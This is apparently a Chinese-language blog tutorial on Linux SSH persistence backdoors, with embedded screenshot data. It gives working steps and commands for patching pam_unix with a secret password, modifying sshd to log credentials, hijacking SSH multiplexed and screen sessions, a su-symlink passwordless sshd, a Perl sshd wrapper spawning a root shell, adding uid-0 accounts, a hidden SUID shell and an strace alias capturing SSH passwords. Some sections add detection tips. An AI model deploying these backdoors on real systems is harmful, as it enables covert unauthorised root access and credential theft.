1. 安全攻防观点
0x1:For the Attacker
- Use System Builtin's to Simulate Rootkit Functionality. Stop relying on tools: "Master the environment.":尽量做到润物细无声,即把rootkit伪装成系统正常的工具、行为
Everything Is A Weapon:内力所到之处,皆为兵刃,对于操作系统的任何一个特性,只要找到正确的使用方法和组合模式,都极有可能形成一条入侵向量
0x2:For the Defender
- Know Your System, Before I Use it Against You. Thinking like an attacker: "Flip the evil bit."
Know Your Enemy : Know Your System:客户端攻防的战场主要在操作系统层面,同时也包括了和系统衔接的WEB、远程LOGIN等模块,了解它们的特性(尤其是高性能、边缘特性)才能更好地作出针对性的防御
Effectivness != Complexity:攻防是一个整体性的工程化项目,任何一个维度的漏洞都能够导致被黑客入侵,因此并一定说内核攻防就比应用层攻防重要,它们是同等重要的。攻防手段的有效性并不一定需要通过复杂性来保证
Relevant Link:
https://www.blacklodgeresearch.org/files/7613/6963/4840/Poor_Mans_Root_Kit_BLR_talk_PUBLIC_2013.pdf
2. SSH Pam后门
PAM(插入式验证模块(Pluggable Authentication Module,PAM))简单来说,就是提供了一组身份验证、密码验证的统一抽象接口,应用程序员可以使用这些API接口来实现与安全性相关的功能,PAM可以作为Linux登录验证(包括SSH)的统一验证入口点,也同样出于一点,黑客可以利用PAM部署SSH代码级的逻辑后门
0x1: 查询本机的PAM版本
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZMAAACSCAIAAAAPVbAnAAAPgElEQVR4nO2dW7arKhBFbdYZNsj22Bo6Y1PuR+6HDwoooIiyY8ycIx/nkKJ4CBVQWXsYAAAAAAAAAAAAAAAAAADuyry8Xq/X6+WmT9cEAJ7AGlO6RpRxXtYCjn/EX+xM7uXx3xzJyzymxj5xT6m0Zl5er2XOfTs5JX+UaCwo3yLV7F5h/YZVyrL1clLbyS3zOC9f0gobD2vO+1zcEdo4mZc9uNRG0eQ2y9HnGXx4m9wRcSa3D9Qk0hhaNLl85LITF6S1Tm2RyVuBk5PRnP3vJskV4SV1sXp92FR/WHPeJ+yI9cdr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WlV5QYF5zWqFO2azV6PBZY79Kk7c+ml1VNYdEMvATyPPvpcr0102Xsdo1XLOOzPBxSNq4zuVcwVGlV6jNMsfa8UwoRaUEvpmjpZkPSSAcvSSwBP5EZaWgAAJu6ipQUA8EegzwUAAAAAAAAAAAAAAAAA34ZVEszuzOZNVc4qGZ5QBzvtk3dWAe7HVWf38vpcMf58Z/ks1DXqYGd9WiwBvoMe+lxmn1GqWxQZhjVx1/YKTr1IAbC1VvHZJX9WKWjC4pyrLj1sseOw6a4Odt5noyXAremhz2X2KRcrkxN5ksSouETTwhcpEuWhQJ86+lPkBRojlzXWvKkOdoXPJkuAm9NDn8vsc4gWc0M28RCf2I5yb4ErVVlQE7Mqf8HL/0YxLN3GuruUwoHnSld8XmQJcH966HOZfUpUqRafuOk+u3nVLMwHqclZI1eRy3eLZ9TBzvtsKh3g/vTQ5zL7lKszGaSUxGFyblmWeRzm44bYGISOVxqkxA5UiraLHWwWVYc+eubntapD1Wq7OtiZ0s9rkwF8L330uUw+ZZpqGGwhj81OeJvMGy77zfgwMb3rX5nGOX0uRUsro5BlVwd7v/QrtMkAvpceD5tu9ACLW9IAD6SHPtddNL/E25cfrQcA3Ar0uQDgb/kfi5yPGp+4jA4AAAAASUVORK5CYII=" alt="" />
0x2: 下载对应的源代码文件
http://pkgs.fedoraproject.org/repo/pkgs/pam/Linux-PAM-0.99.6.2.tar.bz2/52844c64efa6f8b6a9ed702eec341a4c/
http://www.linux-pam.org/pre/history/
http://www.linux-pam.org/pre/library/
0x3: 对原始的PAM so文件进行备份
cd /lib64/security
ll pam_unix.so
mv pam_unix.so pam_unix.so.bak
0x4: 修改源文件,添加逻辑后门
cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix
vim pam_unix_auth.c
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAY8AAADfCAIAAACBAcjzAAAUuklEQVR4nO2dy7mkIBBGKx8zMAbjcGUi7kzCFFybh8H0LBQoXjba9sO553z9zX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J4PKZ2C1iGdV5+cNlHy42VW99ZQI3VteAo313fyvL09+xMOT+3GtRbOTWh/t26l1rPNTBW14KDfHd9K83+AlXZcv7lp3a+W/cy6zs37j/4kgEAAAAAAAAAAAAAAAAAgBcoe6E+tcXolUU4s5QVv3kD/CkOrRv1nrWwTi9l9ZefrQL4Y2RWmHLvYEzTpN2XUEb0kkh1HDgtJv6et/TCUlasiATwh4gdGfcyfvQuhR9XaYV6g9+Nz+z7y7srIr20lBUrIgH8HUJp2B2Geef8aSOXzltycjv18AgU8IWlrHiPDODvcL1a6aBVSnanw19aygq1Avg7pEaCgRrkFjX2RMScUn6Qt6ZVVgJfWcqKFZEA/giZFab0yC0e3amhXGJt3MzSR7ng7dTJpaxYEQkAPsrZpaxYEQkAPszppazwoQAAAAAAAAAAAAAAAAAAAPbhGUUAuA0/so0oAMATUCsAuAeoFQDcA9QKAG5CHS/dBADwe+BbAcA9QK0A4B6gVgBwA3g6FAAAAAAAAAAAAAAAAAAAAAAAAADgx/kHZLxrk75CjvQAAAAASUVORK5CYII=" alt="" />
0x5: 重新编译pam模块
cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/
./configure
make
0x6: 使用包含逻辑后门的pam模块替换系统默认的pam模块
cp /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.so
0x7: 测试后门
. 使用正常root帐号、密码登录
. 使用root帐号,后门密码(pam)进行隐藏登录
0x8: 对抗检测方法
pam_unix是系统原生的模块,可以使用RPM的校验机制进行篡改检测
. centos rpm校验已安装包是否被修改
rpm -qV pam
....L.... c /etc/pam.d/fingerprint-auth
....L.... c /etc/pam.d/password-auth
....L.... c /etc/pam.d/smartcard-auth
....L.... c /etc/pam.d/system-auth
S.?...... /lib64/libpam.so.0.82.
S.?...... /lib64/libpam_misc.so.0.82.
S.....T. /lib64/security/pam_unix.so 结果含义
/*
如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式
1. 8位长字符串: 8位字符的每一个 用以表示文件与RPM数据库中一种属性的比较结果("."表示检测通过)
1) S: 文件大小
2) M: 模式e (包括权限和文件类型)
3) 5: 校验和(md5)、?: 文件不可读
4) D: 设备
5) L: 符号链接
6) U: 用户
7) G: 组
8) T: 文件修改时间
2. c: 用以指配置文件
3. 文件名
*/ . ubuntu
dpkg -V libpam-modules
???????? c /etc/security/limits.conf
???????? /lib/x86_64-linux-gnu/security/pam_unix.so
从二进制的角度来看,被植入了代码级逻辑后门的so文件可以被当成病毒处理,通过提取逻辑后门附近的二进制特征码,加入杀毒特征库,可以实现对此类后门的查杀,并禁止其被ssh加载
. 提取包含逻辑后门的pam_unix.so的特征码
. 加入杀毒特征库
. 禁止逻辑后门pam_unix.so模块被ssh进程加载
Relevant Link:
http://w ww.csdn123.com/html/itweb/20130911/112822_112821_112829.htm
http://www.cnblogs.com/LittleHann/p/3662161.html
http://bobao.360.cn/learning/detail/454.html
http://www.awaysoft.com/taor/rpm%E6%A0%A1%E9%AA%8C%E5%B7%B2%E5%AE%89%E8%A3%85%E5%8C%85%E6%98%AF%E5%90%A6%E8%A2%AB%E4%BF%AE%E6%94%B9.html
3. SSHD后门
0x1:查看SSH版本
ssh -V
OpenSSH_7.2p2 Ubuntu-4ubuntu2., OpenSSL 1.0.2g Mar
0x2:下载SSH源码包
下载并修改sshd源码
vi includes.h //修改后门密码,记录文件位置, /*
+#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321" //后门的密码
*/
0x3:插入后门代码逻辑
- 使用设置的后门密码,直接跨越验证逻辑登录
- 记录root及其他帐号的登录记录,相当于key logger
0x4:还原sshd_config文件时间戳
touch -r sshd_config.bak ssh_config
0x5:重启服务或重新载入配置
service sshd reload
0x6:对抗检测方法
- 二进制特征检测
- 通过ELF格式动态定位到目标函数的位置
- 在目标函数内部采用clamav的特征库定位方式:【特征:offset:length】
- 使用系统rpm检测ssh的完整性
- 检测程序中的string特征字符串,黑客部署的逻辑后门代码一般都有一段字符串特征码
- 尝试任意密码登录ssh,检查是否被黑客部署了"无密码逻辑后门",即黑客在判断逻辑中直接加入了return语句,跳过任何密码检查逻辑
Relevant Link:
http://www.freebuf.com/tools/10474.html
https://www.jianshu.com/p/b394528051c6
0x7:利用系统服务程序配置文件
修改:/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用*程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序。
4. $HOME/.ssh/known_hosts信息收集
“$HOME/.ssh/”目录下保存了本机的ssh登录记录,保存在“known_hosts”中,攻击者通过该文件可以直接获得DMZ/VPC或者常见下一跳IP。
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAABicAAABTCAIAAAB7x0P2AAAgAElEQVR4nO2dXZbrqq6F3S43yGOc3rgJtxV0hsbkPjgY/cyJcZKqVbtqfg9713IwCCGEkHGy/N///d///ve/RQghhBBCCCGEEEKID6KskxBCCCGEEEIIIYT4PMo6CfF7WPf6AJTtXwsmhBBCCCGEEOIPoqyTEEIIIYQQQgghhPg8yjoJIYQQQgghhBBCiM+jrJMQQgghhBBCCCGE+DzKOgkhhBBCCCGEEEKIz/M9Waf2Fcf6UmMhhBBCCCGEEEKIv8E3ZJ3WvR7ppvOP+EFjK/Bnt87LdV9zYXvxuPZKbmuvj0fd7993AenRSxV9ImW3FS7HVuq+7vX7M4MjoX5z20IIIYQQQgghxO/mw1knlLXYa0sMXeU0tvIsufZ7lp6a2sqZGNpKyxWYdMxR8tW8yVa+JOsEevQC790dqsL6OQbnk1mn+RTWP0l2Nd5t+58KL4QQQgghhBBC/Fx81uk4mlP37Xglrm2m1/aGnD1YlC+6gz0Pkwwq21m8XWxl0X593StOAKHEUDoEZHIA/TiUa7H10vb4POpjxDL9KYdGegrpYWqO+nikDFHq0VF4Nlkxc9CpN19qzQPXL+61FHBMbD7r1I+elVKoQogxUOGtxp8DUWu9tLo2fqv9tOzsdgRWy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ghhBBCiM9Ds05beZTtOyT4UENbeTy+SWIhhBBCCCGEEEIIcQXLOu217uuH2lj3ytNBH2xo1IwQQgghhBBCCCGE+E5w1smdP9rK4/F41H3b68OcJ1qPfz4eD5M2yhePu09CXmjmoFOvs9SaW+8X91pKSSIJIYQQQgghhBBCiO8HZp22ErM2W2mpnOdnWzkzO+ten6kjeHF01ik3NCqzlTNrBS/u9dEF0bEnIYQQQgghhBBCiH8IyDqhJFFMD/l/P++AF0mFo+upbXBSCl001W2l7tc1CyGEEEIIIYQQQogvImed4Pmjr8g6zRx0cqx7zbkkc1FZJyGEEEIIIYQQQoifQsw6wcwOyBC5tE5L98CLtk7zOhxp6Pi+JpOkMi/LuXryRWWdhBBCCCGEEEIIIX4MIesEvhCpf2+3+5pue3l8cTHvw50X2TcvoaxT/i5ycPF5qe79U321kxBCCCGEEEIIIcS/wmWdyPmjz/NtDQkhhBBCCCGEEEKIfwL8DTshhBBCCCGEEEIIId5CWSchhBBCCCGEEEII8XH+H5AunMpAQPcAAAAAAElFTkSuQmCC" alt="" width="1062" height="56" />
在黑客控制了一台用户机器之后,通过查看known_hosts收集信息,将有可能获取到当前主机连接的下一台跳板机、内网、DMZ机器,以此扩大攻击面
Relevant Link:
https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf
5. SSH Session Hijacking without Re-Authentication
Hijacking SSH By Setup A Tunnel Which Allows Multiple Sessions Over The Same SSH Connection Without Re-Authentication
0x1:SSH multiplexing特征
Multiplexing is the ability to send more than one signal over a single line or connection.
With multiplexing, OpenSSH can re-use an existing TCP connection for multiple concurrent SSH sessions rather than creating a new one each time.
0x2:Setting Up Multiplexing
需要明白的是,SSH劫持是发生在被黑客控制的机器上,黑客通过SSH劫持,希望能够无密码获得当前用户连接的远程ssh会话。
黑客需要修改的配置文件是受控制的用户机器上的配置文件。
1. 修改ssh配置【攻击者有root权限】
vim /etc/ssh/ssh_config
/*
..
ControlPath /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fjph0k7CtFZ0Nl3zCP1EnfrsnXHM+ipyEVlEVpGb3OcAdLjOtxTj+ZafS5g0kzDNFZ1L1zxEJ4PWp4U1DU0yKRs3bmgJFq7zLc06v5Yw2cZVY0Xmkp86t9xyu8zkt4o+pVzoxMIBrvMtxRbjfMKknYRpreh8uuYhIbbXr63nwq/lX7SEB/jNtzx+vuX5hEkzCfPJip6maz4gtZewml/ZiiKDhHRiwYThBK/kaZeXGyRwBrR8BcdXljrQEs6Alm8FLeEMaAngDrQEcAdaArgDLQHcgZYA7hi0jCKTyKvSmYJIbl/vTeLcyWWj5tISnpUJXhm03HbWF2YZzrKPcgs/p6W0G5XKAehV6M0E+DvepWUn5BiyQnk7l8gW2gVmFfHSEHvH4lI2ZFsytBsVhyZFVWcujqWhncmaGdsewQM/zeLmBwK/mFbL3L5ewmwppGXTtmR1XJiGgFbf1v0+tQt0xXXlWU3PyrqxGbWps2qzns6leFQtOR8tx+IPPhD4lVjR8rVdzTFadrKlg+laNpZjhA5ZubyOqure6mipo9w0LFkNTO1BKg3FQ+vtSS3H4g8+EPiVKC27yzOvOmaP++t5LbcdNyk/pY0nj3foIy3zcAnK1PLo5BMt4ZuxrsS+9urFWNt4UlcZ98hYZqZSj64wP9yh9ZJRWR2GIl0fdS7tNI9NR1rWUtkq9aD4gw8EfiXfrKWOwJ0Mue2Fzm0Qm9SSNaDVmVl1LPPD4lkF/zw0plaimxTb/rauoS4W1abpY0S39pGj4kfdcviVWFq+9s7BPwe3OuCnYZRPIbbBE+DnQEsAd6AlgDf+A2mCHXOb4CWnAAAAAElFTkSuQmCC" alt="" />
开启了ControlMaster模式之后,如果当前用户已经成功登录过一次目标机器(例如远程跳板机、DMZ机器),则黑客可以利用Multiplexing技术直接"无密码"登录同样的那台服务器。
简单来说,SSH的密码验证是基于TCP Connection级别的,而不是会话Session界别的,当发生Multiplexing的时候,黑客的Session可以直接绕过任何的登录验证。
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAhoAAAA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alt="" />
2. 修改ssh配置【攻击者没有root权限】
vim $HOME/.ssh/config
/*
..
ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes
..
*/
3. 修改ssh配置【在.bashrc里封装ssh命令】
vim $HOMW/.bashrc
/*
..
ssh ()
{
/usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}
..
*/
利用了Linux Bash的自定义函数的方式、SSH动态配置参数的特性实现了开启ControlMaster模式。
0x3:攻击者复用Multiplexing模式下的Socket会话进行SSH连接
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAlUAAAB4CAIAAABUyZAkAAAUKUlEQVR4nO2d27HjKhBFCeuUAlI8ioZkCGU+NB96NdCgxnpYttcq171nsIAGYVogYDsH8EiG4Pt323AbNxW2Oyuf3ofBFngepxkPAPBQej8u/EJ/txb3Ouex1WgYuhPSG4Jyf9TAEzjbeAAAAAAAAAAAAAAAAIAX+ff3x4eP+nl32wQAuBK6OVChYQDAl0M3Byo0DHgU0yLrX1hufz7LAvX92uvWNfKn1bbYPRAvju+GYMhCve/2xlC8*v7+/K5fs997leyZ678bRjaOLcu7dOGYXa4FDmKPvF78pumpAhhp9DXxv9DM7B/wfPIghjL6/ZQ/ybXt478qom+rOTbufbZ29/co91sxd7+P9c70Pw24VqPfd3hhKVw5h9sYXd3OK/+vd6J1zznUu+O2y3AEUA/2SzugqFdAafQguhB0PpEbvvRuD66YSVZ3QVdFtFdIG/u95bA/nPoSlS5uerPvpK9+vIZ2M8iXDJkOXl1eIc05WnejY80CxsXuv2m7L6Cii0szHfyz+r/eLcUtx3VyaEELrluco98n7Gx8B1MvywKma80vTK4V3r3Zz88DCL77Ex+Gxa8kD1xA52uu9G7q5s577fZFCfnuSwCFsHsInI8hCEUzRezcGN2ij1SS1PLr08fKC49G9qPNS9NYKsYL/exzbz7b38mfe+6Ubmq5IHt7Pe5Z/O8buMq2QaeixPRCsjw55YNuw7LaMjiCzsW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ulnmP1X/J1bcKIKIeyVyLe//er+Mng2k85/Rm1D8HwBACavCWTHQaZsV5P6Hwsgm0RkUw53jkm9zdqpzkg5vHMMQJ1oUctMEEdW9DsUBnN3/bbPHNXQ9xQadQgAAuIJn7n//iCWRQ/C9TUAcAACgTrSx4d3GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAWRzTlquoPbwsDGTl+Oa5Xy77W6HqAODp1DeSS9GIrE859VxK/ZyUa4++/OWyXwpVBwD3sY1mpELeYW256BjK5AiuROpgyvVU9UEXnRa6X/5xHMMwJDXxk2W3mqQ2m+nEOFFPufE+fEfVAcB3UOl0drXlMg2guTdRFfiWPNIu5nT1wfny3Ud5kc6QHZX5s2W3maQ2Gzk3vMXaxnLLkdyfXXUA8DUY/V+Ttk6lI8tfrJ2uvjQbuHf0c5cUj7LbTSr6v6ielDO5q87lI6oOAL6HI/7P8CCfp/mUjuyg//vWsh/yfzLf/B3ektFHVx0AfA/rqrr9OUDRO9Uf5bvBr5NOPpu2UsQGT1UfnP9lmQOU7zspe4NJarOJ9BSXdIQ1e8rAn1F1APA9FNdBrLRry6krEdbs1i7mGvVBZ+7HxMoMH73E+s2yt5ikNxuhp1jRSPz0qgMAeI0bOpn2LMx668f47rJnizbP5JFVBwDQxIM2Mm+Dk5vWvX9x2bfx5DU+5EFVBwAAAAAAAAAAAJcyah8AAIAvB/8HAAC/CP4PAOCZLKsBWVB+Dfg/AICX+A8WVErGXTgJxQAAAABJRU5ErkJggg==" alt="" />
This socket can be used to create further sessions, without credentials, even after the original user exits their session.
0x4:对抗检测方法
- 检查ssh的配置文件中,是否开启了ControlMaster模式
- /etc/ssh/ssh_config
- $HOME/.ssh/config
- 检查bash自定义函数中是否有ssh()劫持
- set | grep "ssh()"
Relevant Link:
https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing
http://unix.stackexchange.com/questions/22965/limits-of-ssh-multiplexing
http://www.anchor.com.au/blog/2010/02/ssh-controlmaster-the-good-the-bad-the-ugly/
http://www.revsys.com/writings/quicktips/ssh-faster-connections.html
6. Hijacking Active SSH Screen Sessions
ssh_user用户使用screen管理ssh会话时的情景
当ssh_user使用
screen ssh root@112.124.20.20
连接远程的"112.124.20.20"时,会在/var/run/screen有显示相应的文件。
ls -la /var/run/screen/
可以用screen -r root/来接管会话
注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现
0x1:对抗检测方法
- 检测/var/run/screen/是否包含screen会话,这从某种程度上算是一种可疑事件
Relevant Link:
http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html
http://drops.wooyun.org/tips/5253
7. dynamic tunnel in existing SSH session
we can create a dynamic tunnel inside an existing master socket
lsof -i TCP:9090
ssh -O forward -D 9090 -S /tmp/root@112.124.20.20\:22 %h
lsof -i TCP:9090
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAhcAAAA2CAIAAAD71CylAAAME0lEQVR4nO2da5LrKAyFvS4vyFWzG6+GzbCYzA8HEOgIBHEn6dvnq6mpvgTzNBIII7b//vtv+1sc4ZEIx6cLQ8i3c0YOF9Ll72kRQggh90EtQgghZB1qEUIIIetQixBCCFmHWoQQQsg6b9Ai6RsPfuJBCCH/HD+tRfYzXuoj/9H+kBBf4EqNk4PjuevIMvAKW9FVZ3w84jn/3ACjRnNJxHM/4+DhlNELenrP33PWDT3x+CB3kUOTj+jiM8Rzb1puWC04TYFt4o9JCPFypxZB4u6MSViMhOERnjH38sxWhNMRsqA/QhryR8hj/4o5FLidzFeeGyaqajTF1WbOSq3WvWT0o6Qsnk2dGqd05qVnSpOlAolOxsk+HxHxilLLfTATkxAygdAi15wsnsc1Y5PjTE1SdWA9fRTCPRw5upAL5uxvPyMW6EjQKwEjhGFZrlQ5plrKGuc5vyhWdTjxjA8p3x4i5bY99FRe1eiK7JHaL2mRUqYQY683q0XCvDadnMvX/WjJ7r3qSakJmpxkAvmZ5uHZmISQCZq1yBGSfDmybUEsJsoSQAdaa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amZ9HqaJF6it9p/61u+WYH/vorNlrkZYtWtQ9V5LAKfAbFs/z65lEJzYJOc1z7+Ztd9L2ZvO46uB8o87/rI4S69GLM2A3y3AOf7KPBl75tavAFhJ9Zu2qEt179W18dw7GjSO/DKCd4bbo7fEPwbTFgo8l7kUkjGeDeFSo8kCwxZmkO0rSkDcoISjCjPY19kRwPh6Le6MccNKEewXWlwDA05JLuYp1mOOqdktogtr7HzVOHhBDyCT7xbZLJXV/6EkIIeRfw4/XP8P5Th4QQQsi2UYsQQgh5BWqRX88D/UcIIe+BWuTXQy1CCPkg1CK/HmoRQsjn+B+vO+h/2N4YQAAAAABJRU5ErkJggg==" alt="" />
通过注入命令实现端口转发,执行完这条命令后,我们就可以使用这台机器的9090端口做SOCKS5代理,访问下一跳的网段。同时不会增加新的TCP会话,而是复用了老的ssh会话,所以可以理解为是一个ssh隧道。
前面说过,如果ControlPersist为yes,则不会自动删除sockets文件,我们可以手工rm删除/tmp/root@112.124.20.20\:22,也可以优雅的使用
ssh -O exit -S /tmp/root@112.124.20.20\:22 %h
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAeAAAAAoCAIAAACper6vAAAHGElEQVR4nO2dzZHkKBCF8WLWhXVBp4lYX4gYH8YIznMaA+aMB7tOYEztQQUk8BKBfrpV1e+LPnRRSv4ET4kkssy37z9//fn329///P79+8ePHyaxuPCIeNumBbeIFG+N9fFgmGiMSZ/UTGOaPHYtqDJOyYNVMhqg9NGClPbgZJHmQ3g8goPVceHxCC4VFQvK31YpDWXlYymg8jJJFgQqv9Uh3vvgpnr++XVwpjxyopPBCMm16pxwQl4JVaDJ/XDhlsqz3LRehLw8FOhXQPrft5HCXKktt54Qsg8KNCGE3BQKNCGE3BQKNCGE3BQKNCGE3BQKNCGE3JQPFuj4nut93kUg5E3g5HpDPlKgFxfyfgQ5iurPmztAive6YqpMXNP2jFSn7yI5grrdYiaL4E575dj64zMZn46jNIPhjAyf9QxhrKrWn69yV+QpUCYXnAidxJGz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TJBRO1Vy208TloDg9u84Tmi/OpD315oTpibgwYkoN5Dr2QkgsppMOcKdBLdfFb2uR+ohFeX3Gkt6ZY7MNYw8hhrBewYrA2hZeHyh7V1FMqchuROfuzz5fw4v3G3MYgTvB2SOU9Ap3XsD3g63x6hZqIzDMMv5jVlC98C7lWgINhqqQGZSRr1YR9UJauDYb1dQXQ9cBNQFW6YHLhiQAStcmlKdewea5p8xS9LqM1Vx4eHDSPrZjPs9dMROlB75xx3Khijr5w9kG4sIrAWe9qkZLRe1AayCc6mucc95xcN+Xi19JP42tv9YYP1AiZJr/GyHFETuRrCzQhhNyYVaD/okATQsjdoEATQshNoUATQshNoUATQshN+fb9568//1GgCSHkdkCBbuInjLySzfeLCCHkVDQPWtuaPMp58ROu5cPq+SodQgi5D32BLnauXRLDF8fGFS58W4G8yzZHeJSRnTXznBpjIk/FIGrNUUFrzUIoSz8c1JgQ8hXRBboRuMti+NaxcRcUQVjcRZH75kH8EWguw9PIkDvD9QTmakEo6is9aELILNpbHMCDNsacHsPXGNNE9oIRhMv8svK1Aq0GIIb7usfr2ZhrBVWRJnd0CCGEGLMl0C1XxPDtx8ZNiYMCvR3ttfJ8Z3UzmSsFUaAJIecwItBLDk97SQxfEBsXhXeVUixucaRfbZC/U9UWiGMiD9dzK84ybg78MbSioPFwo4SQLwcU6Gbx/vD2mhi+WrheFNZY3mPIP4eanxy6/KNwWxGZUcDafrBgxXwg0nEblbn6mQwKNCEE86I7CXm/gBDy/ryeQAtH9LOrQgghV/J6Ak0IIV8ECjQhhNwUCvRb8UB/hJAXhQL9VlCgCXknGG70raBAE/JG/A/9S5EL7VmSmgAAAABJRU5ErkJggg==" alt="" />
8. 利用ssh pam认证机制实现ssh root免密后门
0x1:实现过程
在被控制的服务器上执行如下指令,创建一个名为su的指向sshd的软链接。
ln -sf /usr/sbin/sshd /tmp/su;nohup /tmp/su -oPort= &
然后打开一个新的登陆会话,账户root,密码任意,可以直接登录成功。
注意,被控制服务器(部署ssh后门的服务器)需要配置“允许root登录”以及“开启pam认证”。
0x2:实现原理
当进程名为su的进程启动时,由于其触发了auth登录验证(类似于在命令行执行su xxx指令)。系统会读取“/etc/pam.d/su”内的配置信息。
以ubuntu为例,
root@iZuf651jh0tfb2bx32x9lpZ:~# cat /etc/pam.d/su
#
# The PAM configuration file for the Shadow `su' service
# # This allows root to su without passwords (normal operation)
auth sufficient pam_rootok.so # Uncomment this to force users to be a member of group root
# before they can use `su'. You can also add "group=foo"
# to the end of this line if you want to use a group other
# than the default "root" (but this may have side effect of
# denying "root" user, unless she's a member of "foo" or explicitly
# permitted earlier by e.g. "sufficient pam_rootok.so").
# (Replaces the `SU_WHEEL_ONLY' option from login.defs)
# auth required pam_wheel.so # Uncomment this if you want wheel members to be able to
# su without a password.
# auth sufficient pam_wheel.so trust # Uncomment this if you want members of a specific group to not
# be allowed to use su at all.
# auth required pam_wheel.so deny group=nosu # Uncomment and edit /etc/security/time.conf if you need to set
# time restrainst on su usage.
# (Replaces the `PORTTIME_CHECKS_ENAB' option from login.defs
# as well as /etc/porttime)
# account requisite pam_time.so # This module parses environment configuration file(s)
# and also allows you to use an extended config
# file /etc/security/pam_env.conf.
#
# parsing /etc/environment needs "readenv=1"
session required pam_env.so readenv=
# locale variables are also kept into /etc/default/locale in etch
# reading this file *in addition to /etc/environment* does not hurt
session required pam_env.so readenv= envfile=/etc/default/locale # Defines the MAIL environment variable
# However, userdel also needs MAIL_DIR and MAIL_FILE variables
# in /etc/login.defs to make sure that removing a user
# also removes the user's mail spool file.
# See comments in /etc/login.defs
#
# "nopen" stands to avoid reporting new mail when su'ing to another user
session optional pam_mail.so nopen # Sets up user limits according to /etc/security/limits.conf
# (Replaces the use of /etc/limits in old login)
session required pam_limits.so # The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
@include common-auth
@include common-account
@include common-session
重点是这行:
auth sufficient pam_rootok.so
sufficient 表示只要这行满足,直接返回登录成功。
Linux man 手册上关于 pam_rootok.so 的介绍
看一下pam_rootok.so的源码,
关键点在于红框部分,模块会调用getuid(),如果get的uid为0,它会检查selinux的root是否为0或是否在启用selinux下为0,是0,则返回认证成功,否则认证失败。
在正常情况下,如果是root账户执行su指令,会直接忽略密码验证,这是系统设计这个机制的本意。
但是这里攻击者将sshd软连接为su进程,从而借助sudo的root免密验证机制,实现了免密ssh后门的目的。
Relevant Link:
https://www.freebuf.com/articles/system/138753.html
9. 利用perl实现sshd后门
0x1:后门代码实现
将原本的”/usr/sbin/sshd“备份,用下列这个perl脚本代替之,
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
- exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/):如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 ..zf),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket
- exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV:启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象)
0x2:后门部署过程
# 将真正的sshd 移至/usr/bin/sshd,
mv /usr/sbin/sshd /usr/bin/sshd # 将后门sshd (perl脚本移动至/usr/sbin/sshd),并授予执行权限
chmod +x /usr/sbin/sshd # 重启 ssh 服务
/etc/init.d/ssh restart # 在控制端执行以下操作,即发起ssh后门连接:
socat STDIO TCP4:10.1.100.3:,sourceport=
这行命令的意思是说,将输入输出重定向至于socket 10.1.100.3:(部署了sshd后门的机器ip)。这样后门perl脚本中STDIN就是socket了, 且这个socket的源端口为31334 # 这行命令等价于
socat -TCP4:10.1.100.3:,sourceport=
这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell了),实现获取控制端系统shell的目的,也即一个ssh后门。
为了增强隐秘性, 我们可以将copy 一份/bin/sh, 重命名为/bin/sshd,修改后门源码为:
#!/usr/bin/perl
exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
控制端再次连接后查看网络连接情况,会看到有一个叫sshd的进程,打开了一个socket句柄。
Relevant Link:
https://www.freebuf.com/articles/system/140880.html
10. 系统后门账号添加
0x1:Windows $隐身账号
0x2:增加Linux root增加超级用户
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
11. X置位后门
0x1:放置SUID Shell
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
12. Linux环境变量后门
0x1:alias 后门
当前用户目录下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'